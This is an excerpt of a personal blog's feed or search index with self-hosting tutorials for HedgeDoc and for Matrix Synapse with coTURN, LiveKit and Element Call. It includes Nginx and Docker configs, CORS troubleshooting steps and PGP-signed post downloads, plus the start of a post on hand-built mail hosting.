\u0026#34;false\u0026#34; CMD_PORT: \u0026#34;3000\u0026#34; CMD_EMAIL: \u0026#34;true\u0026#34; CMD_ALLOW_EMAIL_REGISTER: \u0026#34;false\u0026#34; volumes: - uploads:/hedgedoc/public/uploads ports: - \u0026#34;127.0.0.1:3000:3000\u0026#34; restart: unless-stopped volumes: db: uploads: Bring it up:\ndocker compose up -d 4. Get a Let’s Encrypt certificate Request a cert with a DNS challenge:\nsudo certbot certonly --manual --preferred-challenges dns -d notes.alipourimjourneys.ir -m you@example.com --agree-tos --no-eff-email Add the TXT record certbot asks for, wait for DNS to propagate, then continue.\nCertificates will be in:\n/etc/letsencrypt/live/notes.alipourimjourneys.ir/ 5. Configure Nginx Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:\nserver { server_name notes.alipourimjourneys.ir; listen 80; listen [::]:80; return 301 https://$host$request_uri; } server { server_name notes.alipourimjourneys.ir; listen 443 ssl http2; listen [::]:443 ssl http2; ssl_certificate /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem; location / { proxy_pass http://127.0.0.1:3000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto https; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; } } Enable the config and reload Nginx:\nsudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/ sudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx 6. Create users Because we disabled self-registration, create accounts manually:\ndocker compose exec hedgedoc ./bin/manage_users --add alice@example.com You’ll be prompted for a password.\nTo reset a password later:\ndocker compose exec hedgedoc ./bin/manage_users --reset alice@example.com 7. Done! Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉\nExtras:\nBackups: dump the PostgreSQL database and save the uploads volume. Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest \u0026amp;\u0026amp; docker compose up -d. Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more. Downloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbucACgkQtYgoUOBM jSrPHA//WlMEZx1k/aGx3zau\u0026#43;wRrAOq4XlrvC7keBvqMs0PJGhJmT8jnOMh0\u0026#43;26w AGav2jBuChLYsDx\u0026#43;O8l18uxcsu9fdrz8r4N4sDOnsndSsg15rTT28P3MNvvUL8ns iOc9uEUkxF59rT3OXRI56hH3VX6vzxakdAnW3Afhki2Bl54jur2\u0026#43;6RVtuthGUEV\u0026#43; QZ/36QVXLrOAas1bqq3f38m4M2no3ZqVvpj\u0026#43;Alur2Ji/gcGZlSArBnIoJQoK5L\u0026#43;r UZLJsQ\u0026#43;LrqCJp4i\u0026#43;GkkX05si2srSTjawBu\u0026#43;ssHf\u0026#43;uwPg0Q6AMTbubrGiHrMMtMbM 4PCFtS8vD/ZBVkVpSBybyXdMxQU\u0026#43;y9AI1LZ//X4cQWdqgRpinOVENuZ2FeVI6qa/ sBGHLThq9nZEXmMT2oQa1wi\u0026#43;CaY17z9fYj20F5moOp2Q6pxBGPyHZRV3WAr5xURU 5B9SwVtNqIzm7eoAbwckU3h\u0026#43;TfIJ4vGulSqPqHvZ/XAdbzCVXaSXBN951oA0No1y MyvsIskzKVPvSqndYjxLGiopvOpITgxN5q6a7ubBmxYCrS\u0026#43;SF74jPkDjtc4EFuKB QrMTBm/\u0026#43;Xl/VEESYv5Mx7hwYv1dnmJUFrx62FUYmAMaFP2UcMIlJJ5zQCwsDdREk aG3wFuWH4d9UFohK\u0026#43;MJIHqYk1\u0026#43;TbZJm3bnds8pOqniIZ7M5PcEg= =uf5y -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md curl -fSLO https://blog.alipour.eu/sources/posts/hedge_doc.md.asc gpg --verify hedge_doc.md.asc hedge_doc.md ","permalink":"https://blog.alipour.eu/posts/hedge_doc/","summary":"\u003cp\u003eHedgeDoc is an open-source collaborative Markdown editor. Think \u003cem\u003eGoogle Docs for Markdown\u003c/em\u003e: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"prerequisites\"\u003ePrerequisites\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eA Linux server with \u003cstrong\u003eDocker\u003c/strong\u003e and \u003cstrong\u003eDocker Compose\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eA domain name pointing to your server (e.g. \u003ccode\u003enotes.alipourimjourneys.ir\u003c/code\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNginx\u003c/strong\u003e installed for reverse proxying\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCertbot\u003c/strong\u003e for Let’s Encrypt certificates\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr\u003e\n\u003ch2 id=\"1-create-the-project-directory\"\u003e1. Create the project directory\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emkdir ~/hedgedoc \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e cd ~/hedgedoc\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003chr\u003e\n\u003ch2 id=\"2-create-env\"\u003e2. Create \u003ccode\u003e.env\u003c/code\u003e\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-env\" data-lang=\"env\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ePOSTGRES_PASSWORD\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eChangeThisStrongPassword\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eHD_DOMAIN\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003enotes.alipourimjourneys.ir\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eGenerate a strong password with:\u003c/p\u003e","title":"Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypt"},{"content":" TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.\nWhat I\u0026rsquo;m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.\nPrereqs DNS A/AAAA: matrix.example.com → your server (v4/v6) rtc.example.com → your server (v4/v6) Certificates: matrix.example.com and rtc.example.com via Let’s Encrypt on the host Cloudflare: DNS-only (grey cloud) for rtc.example.com so WebSockets \u0026amp; UDP work without interference. UFW / firewall open: 80/tcp, 443/tcp 8448/tcp (Matrix federation) 3478/tcp, 3478/udp and 5349/tcp (TURN/TLS) LiveKit: 7881/tcp and 50100–50200/udp (or your chosen range) Docker + docker compose installed. Synapse + PostgreSQL 1) The PostgreSQL collation gotcha Synapse prefers the database collation C. If your Postgres cluster was initialized with en_US.utf8, Synapse will error like:\nDatabase has incorrect collation of \u0026#39;en_US.utf8\u0026#39;. Should be \u0026#39;C\u0026#39; Two ways to resolve:\nPreferred (clean): Re-initialize the Postgres cluster with C and UTF-8: # docker-compose.yml (excerpt for Postgres) services: db: image: postgres:16 environment: POSTGRES_DB: synapse POSTGRES_USER: synapse POSTGRES_PASSWORD: \u0026lt;strong-password\u0026gt; POSTGRES_INITDB_ARGS: \u0026#34;--locale=C --encoding=UTF8 --lc-collate=C --lc-ctype=C\u0026#34; volumes: - ./pgdata:/var/lib/postgresql/data Requires wiping the volume and recreating the DB.\nPragmatic (works quickly): In Synapse’s DB config, set allow_unsafe_locale: true. This bypasses the check. It’s fine for hobby use; for production, prefer the clean C cluster. 2) Start Synapse and generate config docker compose up -d db synapse # Logs docker compose logs --tail=200 synapse Ensure Synapse prints your server_name and public base URL and stays up.\n3) Create an admin user # Exec into the running Synapse container: docker compose exec synapse register_new_matrix_user \\ -c /data/homeserver.yaml -u \u0026lt;username\u0026gt; -p \u0026lt;password\u0026gt; \\ -a -k If you see “Unknown execution mode”, you probably ran the binary with the wrong entrypoint. Use docker compose exec synapse … against the running container.\nTURN (coTURN) 1) Avoid bad inline comments If you see errors like:\nERROR: Unknown boolean value: # log to journald/syslog. You can use on/off, yes/no, 1/0, true/false. …it means a # comment is on the same line as a boolean directive. Move comments to their own lines.\n2) Minimal turnserver.conf listening-port=3478 tls-listening-port=5349 fingerprint use-auth-secret static-auth-secret=\u0026lt;shared-secret\u0026gt; # also set in Synapse realm=example.com # used in creds generation total-quota=0 bps-capacity=0 cli-password=\u0026lt;admin-pass\u0026gt; no-cli cert=/etc/letsencrypt/live/turn.example.com/fullchain.pem pkey=/etc/letsencrypt/live/turn.example.com/privkey.pem # If behind NAT: # external-ip=\u0026lt;public-ip\u0026gt;/\u0026lt;internal-ip\u0026gt; 3) Wire TURN into Synapse In homeserver.yaml:\nturn_uris: - \u0026#34;turn:turn.example.com?transport=udp\u0026#34; - \u0026#34;turn:turn.example.com?transport=tcp\u0026#34; - \u0026#34;turns:turn.example.com:5349?transport=tcp\u0026#34; turn_shared_secret: \u0026#34;\u0026lt;shared-secret\u0026gt;\u0026#34; turn_user_lifetime: \u0026#34;1d\u0026#34; Verify the homeserver issues TURN creds:\nTOKEN=\u0026#39;\u0026lt;your matrix access token\u0026gt;\u0026#39; curl -s -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq You should see uris, a time-limited username and password.\nNginx (host) for Synapse and federation Create /etc/nginx/conf.d/matrix.conf:\n# Client traffic on 443 server { listen 443 ssl; listen [::]:443 ssl; server_name matrix.example.com; ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; # Proxy client \u0026amp; admin APIs to Synapse (container) on 8008 location ~ ^(/_matrix|/_synapse/client) { proxy_pass http://127.0.0.1:8008; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $host; client_max_body_size 50M; } # Advertise homeserver base + RTC focus (MSC4143) via .well-known location = /.well-known/matrix/client { default_type application/json; add_header Access-Control-Allow-Origin \u0026#34;*\u0026#34; always; return 200 \u0026#39;{\u0026#34;m.homeserver\u0026#34;:{\u0026#34;base_url\u0026#34;:\u0026#34;https://matrix.example.com\u0026#34;},\u0026#34;org.matrix.msc4143.rtc_foci\u0026#34;:[{\u0026#34;type\u0026#34;:\u0026#34;livekit\u0026#34;,\u0026#34;livekit_service_url\u0026#34;:\u0026#34;https://rtc.example.com\u0026#34;}]}\u0026#39;; } } # Federation on 8448 server { listen 8448 ssl http2; listen [::]:8448 ssl http2; server_name matrix.example.com; ssl_certificate /etc/letsencrypt/live/matrix.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/matrix.example.com/privkey.pem; location / { proxy_pass http://127.0.0.1:8008; proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Host $host; client_max_body_size 50M; } } Reload and sanity check:\nsudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx curl -s https://matrix.example.com/.well-known/matrix/client | jq Also check Synapse supports RTC signaling (MSC4140) so clients actually use it:\ncurl -s https://matrix.example.com/_matrix/client/versions | jq \u0026#39;.unstable_features.\u0026#34;org.matrix.msc4140\u0026#34;\u0026#39; # expect: true Element Call + LiveKit I’ll run LiveKit and the small JWT helper (Element’s elementcall_jwt) in Docker. LiveKit handles media; the JWT helper mints access tokens for WebSocket connects.\n1) LiveKit config (/etc/livekit.yaml inside container) port: 7880 bind_addresses: [\u0026#34;0.0.0.0\u0026#34;] rtc: tcp_port: 7881 port_range_start: 50100 port_range_end: 50200 use_external_ip: true logging: level: info turn: enabled: false keys: lk_prod_1: \u0026#34;REPLACE_WITH_A_64_CHAR_RANDOM_SECRET___________________________________\u0026#34; Important: the secret must be \u0026gt;= 32 chars. The default devkey will trigger secret is too short warnings and won’t work with the JWT helper.\n2) elementcall_jwt env Run it with:\nLIVEKIT_URL=wss://rtc.example.com (root WS URL, no /livekit/sfu path) LIVEKIT_KEY=lk_prod_1 LIVEKIT_SECRET=\u0026lt;the long secret above\u0026gt; LIVEKIT_JWT_PORT=8080 (internal HTTP port the proxy will hit) Optionally: LIVEKIT_FULL_ACCESS_HOMESERVERS=* during setup Check logs on start; it prints the LIVEKIT_URL it will advertise.\n3) Nginx (host) for rtc.example.com Create /etc/nginx/conf.d/rtc.conf:\nserver { listen 443 ssl; listen [::]:443 ssl; server_name rtc.example.com; ssl_certificate /etc/letsencrypt/live/rtc.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/rtc.example.com/privkey.pem; access_log /var/log/nginx/rtc.access.log combined; # 3a) JWT endpoint with clean CORS (avoid duplicate ACAO) location = /sfu/get { proxy_hide_header Access-Control-Allow-Origin; add_header Access-Control-Allow-Origin $http_origin always; add_header Vary \u0026#34;Origin\u0026#34; always; add_header Access-Control-Allow-Methods \u0026#34;POST, OPTIONS\u0026#34; always; add_header Access-Control-Allow-Headers \u0026#34;Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization\u0026#34; always; if ($request_method = OPTIONS) { return 204; } proxy_set_header Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_pass http://127.0.0.1:8070/sfu/get; # elementcall_jwt } # 3b) LiveKit WS \u0026amp; HTTP (catch-all) location / { proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection \u0026#34;upgrade\u0026#34;; proxy_set_header Sec-WebSocket-Protocol $http_sec_websocket_protocol; # \u0026#34;livekit\u0026#34; proxy_set_header Origin $http_origin; proxy_set_header Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_buffering off; proxy_read_timeout 3600s; proxy_pass http://127.0.0.1:7880; # livekit } } Reload and basic checks:\nsudo nginx -t \u0026amp;\u0026amp; sudo systemctl reload nginx # JWT preflight (should return a single ACAO header) curl -si -X OPTIONS https://rtc.example.com/sfu/get \\ -H \u0026#39;Origin: https://app.element.io\u0026#39; \\ -H \u0026#39;Access-Control-Request-Method: POST\u0026#39; \\ -H \u0026#39;Access-Control-Request-Headers: authorization, content-type\u0026#39; | sed -n \u0026#39;1,30p\u0026#39; # Expected: one Access-Control-Allow-Origin and 200/204 Why I did this: I initially had two Access-Control-Allow-Origin headers (one added by the upstream, one by Nginx). Browsers reject that with “Access-Control-Allow-Origin cannot contain more than one origin”, so the JWT response never reached the client. Fixing CORS fixed everything.\nThe “waiting for media” debugging story (how I found it) Symptom: Element Call created rooms, but calls stayed on “waiting for media.”\nWhat worked:\nelementcall_jwt could CreateRoom in LiveKit (seen in logs). TURN creds endpoint returned time-limited credentials. What didn’t appear:\nNo HTTP 101 lines in rtc.access.log → the browser never established a WebSocket to LiveKit. Step 1: prove the WS vhost works (even without auth) curl -v --http1.1 \\ -H \u0026#39;Connection: Upgrade\u0026#39; -H \u0026#39;Upgrade: websocket\u0026#39; \\ -H \u0026#39;Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\u0026#39; \\ -H \u0026#39;Sec-WebSocket-Version: 13\u0026#39; \\ https://rtc.example.com/rtc -o /dev/null Result: I got a 401 (expected), but importantly I saw a log line in rtc.access.log. So Nginx WS proxying was fine.\nStep 2: check the browser console The smoking gun in DevTools:\nAccess-Control-Allow-Origin cannot contain more than one origin. Fetch API cannot load https://rtc.example.com/sfu/get due to access control checks. The browser refused the JWT call due to duplicated ACAO headers, so no token → no WebSocket connect.\nFix: in Nginx I added:\nproxy_hide_header Access-Control-Allow-Origin; add_header Access-Control-Allow-Origin $http_origin always; add_header Vary \u0026#34;Origin\u0026#34; always; …and ensured no other add_header created duplicates. After that, /sfu/get succeeded and the WebSocket to wss://rtc.example.com immediately followed (I saw HTTP 101 in the logs).\nStep 3: confirm LiveKit side Once the WS was up, LiveKit logs showed participants joining (not just RoomService.CreateRoom), and calls were established.\nUseful verification commands # Synapse features (expect MSC4140 true) curl -s https://matrix.example.com/_matrix/client/versions | jq \u0026#39;.unstable_features.\u0026#34;org.matrix.msc4140\u0026#34;\u0026#39; # Well-known with RTC focus curl -s https://matrix.example.com/.well-known/matrix/client | jq # TURN creds (with your access token) curl -s -H \u0026#34;Authorization: Bearer $TOKEN\u0026#34; \\ https://matrix.example.com/_matrix/client/v3/voip/turnServer | jq # JWT health curl -si -X POST https://rtc.example.com/sfu/get # LiveKit simple HTTP probe curl -si https://rtc.example.com | head # Nginx logs (look for 101 Switching Protocols when a call starts) sudo tail -f /var/log/nginx/rtc.access.log | grep \u0026#39; 101 \u0026#39; Common pitfalls (I hit these so you don’t have to) Host Nginx vs Docker Nginx: If you already run Nginx on the host, don’t also bind 80/443/8448 in a Docker Nginx — you’ll get bind() ... already in use and restart loops. Use host Nginx to reverse proxy to containers. Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it). Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained). Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly. CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location. Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths. Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6. Final checklist (print me) https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com. /_matrix/client/versions shows \u0026quot;org.matrix.msc4140\u0026quot;: true. /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204. Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log. LiveKit logs show participants joining (not just CreateRoom). /voip/turnServer returns time-limited TURN credentials. Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range. Credits \u0026amp; tooling Matrix Synapse, coTURN, LiveKit, Element Call. curl, jq, docker compose logs, Nginx access logs. These are your best friends. The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs. Happy calling! 🎉\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu\u0026#43;0un0FiIfHKtFPcXd2HiVqzODu YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3 PIe\u0026#43;zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa SVJbwubie1D9TPcXU3ynC\u0026#43;ynNBcmVevFl7g/X7Ie8Pw0SP1dJF\u0026#43;we5iVqUrZgPO2 AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5\u0026#43;HjkoIaZDtSfFyt\u0026#43;AwPdHDQ m3sMXA7yZUvy\u0026#43;pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq\u0026#43;yxtCuXBF fPWo5pL0rMtIfwRyaiiX9bwV\u0026#43;WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR 7yoN0vqhKSvZlAL1OQS\u0026#43;4yRcXnguq7UY9UF\u0026#43;drG0f0QpC3aht1QgrJ04gvDp2BOk ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl\u0026#43;ZMvwobQqH Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu\u0026#43;Qt4h9gZ2w6 Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss= =yHZZ -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md curl -fSLO https://blog.alipour.eu/sources/posts/matrix_setup.md.asc gpg --verify matrix_setup.md.asc matrix_setup.md ","permalink":"https://blog.alipour.eu/posts/matrix_setup/","summary":"\u003cblockquote\u003e\n\u003cp\u003eTL;DR: The call kept saying \u003cstrong\u003e“waiting for media”\u003c/strong\u003e because the browser never opened a WebSocket to LiveKit. The root cause was \u003cstrong\u003eduplicate \u003ccode\u003eAccess-Control-Allow-Origin\u003c/code\u003e headers\u003c/strong\u003e on \u003ccode\u003e/sfu/get\u003c/code\u003e (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP \u003cstrong\u003e101\u003c/strong\u003e in logs) solved it.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"what-im-building\"\u003eWhat I\u0026rsquo;m building\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eA \u003cstrong\u003eMatrix homeserver\u003c/strong\u003e (Synapse) at \u003ccode\u003ematrix.example.com\u003c/code\u003e (replace with your domain).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTURN/STUN\u003c/strong\u003e (coTURN) for NAT traversal.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eElement Call\u003c/strong\u003e backed by \u003cstrong\u003eLiveKit\u003c/strong\u003e, fronted by \u003ccode\u003ertc.example.com\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNginx (host)\u003c/strong\u003e as the single reverse proxy for everything.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCloudflare\u003c/strong\u003e DNS (with \u003ccode\u003ertc.*\u003c/code\u003e set to \u003cstrong\u003eDNS-only\u003c/strong\u003e, no orange cloud).\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUFW\u003c/strong\u003e firewall opened for Matrix federation, TURN, and LiveKit media ports.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cblockquote\u003e\n\u003cp\u003eI used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used \u003cstrong\u003ehost\u003c/strong\u003e Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.\u003c/p\u003e","title":"Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)"},{"content":"This is a test hello world post just to make sure everything works!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM jSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY\u0026#43;8puTLs6Na2t7 SfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB IOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX\u0026#43;uFYE B3ioZqc4wJyDFaGWO\u0026#43;ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC roZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ dSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX\u0026#43;odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ NZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc 62eMm1khV99Gljg\u0026#43;XbAG6A0KI7nO5TS464/JkU1\u0026#43;d/inWjXmSkocTep9p1H/M\u0026#43;nt 7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE\u0026#43;AcGR7cb9CxicTuzs8K\u0026#43;kLzQBQSep oy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B\u0026#43;5rhDP4uT 6Q1OmbB4xs7jM\u0026#43;WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo= =kuAP -----END PGP SIGNATURE----- Verify locally:\ncurl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md curl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md.asc gpg --verify hello-world.md.asc hello-world.md ","permalink":"https://blog.alipour.eu/posts/hello-world/","summary":"\u003cp\u003eThis is a test hello world post just to make sure everything works!\u003c/p\u003e\n\u003chr\u003e\n\u003cdiv class=\"signature-block\" style=\"margin-top:1rem\"\u003e\n \u003cp\u003e\u003cstrong\u003eDownloads:\u003c/strong\u003e\n \u003ca href=\"/sources/posts/hello-world.md\"\u003eMarkdown\u003c/a\u003e ·\n \u003ca href=\"/sources/posts/hello-world.md.asc\"\u003eSignature (.asc)\u003c/a\u003e\n \u003c/p\u003e\u003cdetails class=\"signature\"\u003e\n \u003csummary\u003eView OpenPGP signature\u003c/summary\u003e\n \u003cpre style=\"font-size:0.85em; overflow-x:auto; padding:0.75rem;\"\u003e-----BEGIN PGP SIGNATURE-----\n\niQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM\njSpEQQ//WGvzlIkJyaez/yiM50pAlVusmd8LsNXrAPj97ZjyAiY\u0026#43;8puTLs6Na2t7\nSfwQP03lYHajkmNmH1Sq2vCVTnTWcWOc81AUW7o5fAUl47FT2CzqwaimpGCxUhCB\nIOvJT8CCXtLroLXqHk8bfLc8s6iGTQt0f2iV2D2TzPLHOEeh27JuWXu8FQX\u0026#43;uFYE\nB3ioZqc4wJyDFaGWO\u0026#43;ZLEOBXPMR837rztabWYhqOkCuKNlZ06zTF6e4O0ZQ4nNVC\nroZVMsh0voreT700bmzJmN5QJngzX0c/cmlMBXzsyQ8BDlmmAj92atR24a5AQ7vZ\ndSyHfXs/or3HlAWCDPfyZOMM9y0PVIuX\u0026#43;odMAUq13Ec2gIZvYa6NPAk0fnQrmjYJ\nNZ13gDdb0I7My0KLSCDpTTajOZIf9ExdM9Ogpp8wix1kZuxNdJ4/ya9PhkOh8wEc\n62eMm1khV99Gljg\u0026#43;XbAG6A0KI7nO5TS464/JkU1\u0026#43;d/inWjXmSkocTep9p1H/M\u0026#43;nt\n7jvNN/agYJh5HOuiA34zli8v2/GflACgFlE\u0026#43;AcGR7cb9CxicTuzs8K\u0026#43;kLzQBQSep\noy8FiFCh8msbfmCmvKANkU3nO27NmHbNu9e40A/vxtPZtM0zJnngb/B\u0026#43;5rhDP4uT\n6Q1OmbB4xs7jM\u0026#43;WX1X7pHI2XBDNlAGy8hi4rZnmXqhMe4rVZJVo=\n=kuAP\n-----END PGP SIGNATURE-----\n\u003c/pre\u003e\n \u003c/details\u003e\u003cp\u003e\u003cem\u003eVerify locally:\u003c/em\u003e\u003c/p\u003e\n \u003cpre style=\"font-size:0.85em; overflow-x:auto; padding:0.75rem;\"\u003ecurl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md\ncurl -fSLO https://blog.alipour.eu/sources/posts/hello-world.md.asc\ngpg --verify hello-world.md.asc hello-world.md\n \u003c/pre\u003e\n\u003c/div\u003e","title":"Hello World"}] \ No newline at end of file diff --git a/public-clearnet/index.xml b/public-clearnet/index.xml new file mode 100644 index 0000000..9f4f9da --- /dev/null +++ b/public-clearnet/index.xml @@ -0,0 +1,6268 @@ +AlipourIm journeyshttps://blog.alipour.eu/Recent content on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

+

I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

+

